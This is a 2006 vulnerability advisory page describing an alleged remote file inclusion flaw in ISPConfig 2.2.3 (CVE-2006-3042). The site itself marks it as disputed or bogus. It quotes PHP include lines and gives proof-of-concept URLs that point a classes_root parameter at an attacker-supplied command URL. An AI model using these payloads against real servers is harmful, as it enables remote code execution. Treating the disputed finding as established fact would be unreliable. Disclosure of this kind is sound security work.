ISPConfig 2.2.3, File inclusion vulnerability

WARNING! Fake news / Disputed / BOGUS

ISPConfig 2.2.3, File inclusion vulnerability

2006.06.18

Credit: Federico Fazzi (federico autistici org)

Risk: Medium

Local: No

Remote: Yes

CVE: CVE-2006-3042

CWE: CWE-Other

CVSS Base Score: 7.5/10

Impact Subscore: 6.4/10

Exploitability Subscore: 10/10

Exploit range: Remote

Attack complexity: Low

Authentication: No required

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: Partial

-----------------------------------------------------
Advisory id: FSA:016
Author: Federico Fazzi
Date: 14/06/2006, 18:57
Sinthesis: ISPConfig 2.2.3, File inclusion vulnerability
Type: high
Product: http://www.ispconfig.org/
Patch: unavailable
-----------------------------------------------------
1) Description:
Error occured in server.inc.php, line 35:
include_once($go_info["isp"]["classes_root"] .
$go_info["server"]["dir_trenner"] ."ispconfig_template.lib.php");
Error occured in app.inc.php, line 48 - 49:
$dbclass = $go_info["server"]["classes_root"] .
$go_info["server"]["dir_trenner"]
."ispconfig_db_".$go_info["server"]["db_type"].".lib.php";
include_once($dbclass);
Error occured in login.php, line 30 - 31:
$dbclass = $go_info["server"]["classes_root"] .
$go_info["server"]["dir_trenner"]
."ispconfig_db_".$go_info["server"]["db_type"].".lib.php";
include_once($dbclass);
Error occured in trylogin.php, line 32 - 33:
$dbclass = $go_info["server"]["classes_root"] .
$go_info["server"]["dir_trenner"]
."ispconfig_db_".$go_info["server"]["db_type"].".lib.php";
include_once($dbclass);
2) Proof of concept:
http://example/[ic_path]/install_ispconfig/scripts/lib/server.inc.php?go
_info[isp][classes_root]=[cmd_url]/
http://example/[ic_path]/install_ispconfig/ispconfig/lib/app.inc.php?go_
info[server][classes_root]=[cmd_url]/
http://example/[ic_path]/install_ispconfig/ispconfig/web/login/login.php
?go_info[server][classes_root]=[cmd_url]/
http://example/[ic_path]/install_ispconfig/ispconfig/web/login/trylogin.
php?go_info[server][classes_root]=[cmd_url]/
(note this is with final slash (/))
3) Solution:
declare all variables or global.

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

ISPConfig 2.2.3, File inclusion vulnerability

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.